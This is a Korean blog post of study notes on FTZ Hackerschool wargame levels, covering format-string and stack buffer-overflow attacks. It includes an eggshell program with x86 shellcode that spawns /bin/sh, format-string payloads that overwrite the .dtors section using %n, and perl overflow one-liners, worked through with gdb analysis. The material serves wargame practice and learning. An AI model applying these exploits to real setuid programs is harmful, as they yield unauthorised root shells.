본문 바로가기
2. 시스템 해킹 및 모의 해킹

FTZ Hackerschool 버퍼 오버플로우, 포맷스트링 공격 정리

by Robert8478 2023. 12. 11.

[포맷스트링 공격]

기본 취약 확인 - "AAAA %8x %8x %8x %8x"
# 41414141 값이 나오면 뒤의 4byte X 3 = 12 바이트의 더미값이 존재하는 것, 41414141이 AAAA임.

이제 소멸자 End 주소에 셸코드 주소를 붙여넣어 주어야 공격이 가능하다.

소멸자 End 주소 확인 - nm attackme | more 또는 objdump -h attackme 또는 readelf -S attackme | grep tors
Dtors라는 부분의 주소(08049594) 에서 4byte 추가한 부분이 End 주소, 낮은 주소와 높은 주소로 구별이 필요(int값 한계 때문)

(낮은 주소) (높은 주소)
08049598 +(2byte) 0804959a - Dtors End 주소


그 다음 쉘 코드 주소를 얻어낸다. eggshell.c 프로그램과 getenv.c 프로그램 사용
eggshell.c와 getenv.c의 환경변수값은 알아서 변경하거나 그대로 사용

eggshell.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
    "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    "\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
}
 
void main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE;
    if(argc > 1) bsize = atoi(argv[1]);
    if(argc > 2) offset = atoi(argv[2]);
    if(argc > 3) eggsize = atoi(argv[3]);
    if(!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
    }

    if(!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
    }

    addr = get_esp() - offset;
    printf("Using address: 0x%x\n", addr);
    ptr = buff;
    addr_ptr = (long *) ptr;

    for(i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

    ptr = egg;

    for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;

    for(i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';
    memcpy(egg,"EGG=",4);
    putenv(egg);
    memcpy(buff,"RET=",4);
    putenv(buff);
    system("/bin/bash");
}
getenv.c
#include<stdio.h>

int main(int argc, char *argv[])
{
        if(argv<2)
        {
                printf("Usage : %s ENV_NAME \n",argv[0]);
                exit(1);
        }

        printf("%s Address : 0x%x\n",argv[1],getenv(argv[1]));
        return 0;
}

[level20@ftz tmp]$ /home/level19/tmp/egg
[level20@ftz tmp]$ /home/level19/tmp/getenv

SUPERDK's Addr: 0xbffff481 - 쉘코드 주소


이제 공격 구문에 해당 주소들을 이용
ex) print AAAA소멸자낮은주소BBBB소멸자높은주소%8x%8x%8x(더미만큼)%쉘코드주소뒤f481을정수값으로변환한뒤40을뺀값인62553c%n%쉘코드주소앞bfff에앞에1추가한1bfff-뒤주소f481한정수값c%n 값을 공격구문으로 사용

공격 구문 - (perl -e 'print "AAAA","\x98\x95\x04\x08","BBBB","\x9a\x95\x04\x08","%8x%8x%8x","%62553c%n%52094c%n"'; cat) | /home/level20/attackme


##정리##

(공격순서)

1) FSB 공격여부 판단 + %8x 몇번써야 하는지 확인
* 소스 코드 확인(cat hint)
$ ./attackme "AAAA %8x %8x %8x %8x"

2) 공격 구문 선정
/home/level11/attackme \
$(printf "AAAA주소1BBBB주소2")%8x%8x%8x%숫자1c%n%숫자2c%n

3) 2개의 주소 찾기
주소 : destructor 주소(nm /home/level11/attacke | more , or objdump -h attackme )
=> 08049610

주소 : 쉘코드 주소(egg.c + getenv.c)
=> bffff858

4) 공격 구문 완성
/home/level11/attackme \
$(printf "AAAA주소1BBBB주소2")%8x%8x%8x%숫자1c%n%숫자2c%n

f858 bfff 
A A
| |
08049610 08049612

주소1 = 08049610
주소2 = 08049612
숫자1 = 0xf858 - 40
숫자2 = 0x1bfff - 0xf858

5) 공격 성공



[버퍼오버플로우 공격]
기본 취약 확인 - "AAAAAA....AAAA"  -> 너무 많은 값을 넣었을때 segment fault 발생 시 취약



(소스코드 있는경우)

1.#include <stdio.h>

void printit() {

printf("Hello there!\n");

}

main()

{

int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);  //  setreuid 있는지 꼭 확인!!!!!!!!!!!!!!!
call();
#printf("%s %p %p %p",buf,buf,&crap,&call);
}

여기서 printf함수로 각 변수들의 주소 위치 확인해서 계산

2.

(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>: push %ebp
0x080484a9 <main+1>: mov %esp,%ebp
0x080484ab <main+3>: sub $0x38,%esp 0x38 = (10진수) = 56 bytes

gdb에서 disas main으로 입력받는 값 char buf부터 call 변수까지 (sfp,rtn 까지는 포함이 아니다)의 총 주소 길이 확인해서
이를 통해 주소의 그림 그린다.

3.
&crap - &call = 0xbffff74c - 0xbffff748 = 0x4 = (10진수) 4bytes
&call - &buf = 0xbffff748 - 0xbffff720 = 0x28 = (10진수) 40bytes

----------------------------------------------------------------------------------------------
20                              20                     4                     4                       8                    4                4                 4                     4                    4
----------------------------------------------------------------------------------------------
buf[20]                  dummy             *call()            crap             dummy             SFP             RET           argc              *argv                     *env
----------------------------------------------------------------------------------------------
0xbffff720                                     0xbffff748   0xbffff74c
-------------------------|--------------------------------------------------------------------

call 주소에서 buf 주소를 빼면 40이 나오는데 즉, 20이 char buf의 길이이므로 나머지 20은 더미값이라는 뜻.
또 총 주소 56에서 40-4-4(뒷 더미 모르니까 제외)를 하면 48이다 56이 되어야하는데 48이라는건 8만큼의 더미값이 뒤에도 있다는 뜻이다.
이제 위 문제는 call 함수의 printit 함수 주소를 쉘코드로 넘겨주어야 한다. 보통은 RET 리턴주소에 쉘코드 주소를 넣어주는 것이다.
그렇기에 공격 구문은 "A"x40,"\x쉘코드~주소~" 를 넣어주면 되는 것이다.
쉘코드 주소는 egg 프로그램과 getenv 프로그램으로 얻어낸다.

ex) (perl -e 'print "A"x40, "<쉘코드의 주소>"'; cat) | /home/level17/attackme

(perl -e 'print "A"x40, "\xa1\xf4\xff\xbf"'; cat) | /home/level17/attackme



(소스코드 없는 경우)

gdb를 사용해서 분석한다.
ebp라는 단어를 찾는다. 이것이 지역변수를 다루는것이고 ebp-n만큼 떨어진 거리에 주소값에 지역변수나
배열의 값이 있다. set disassembly-flavor intel intel 언어로 확인하면 n이 쉽게 보인다. 
setreuid도 있는지 꼭 확인!!!!!!!!!!!!!!!!



#기타 변수값 길이 확인#
fd_set fds;
printf(" fds's size : %d\n", sizeof(fds));



#버퍼값 제한이 있을 때 주소 알아내기#
printf(" count=%d\n x=%d\n check=%d\n", string[-12], string[-8], string[-4]);



/* GDB */
gdb에서 b *주소 로 브레이크포인터를 건다.
그리고 AAAA 문자열을 넣어 자리값을 분석하여 dumyy값 확인한다.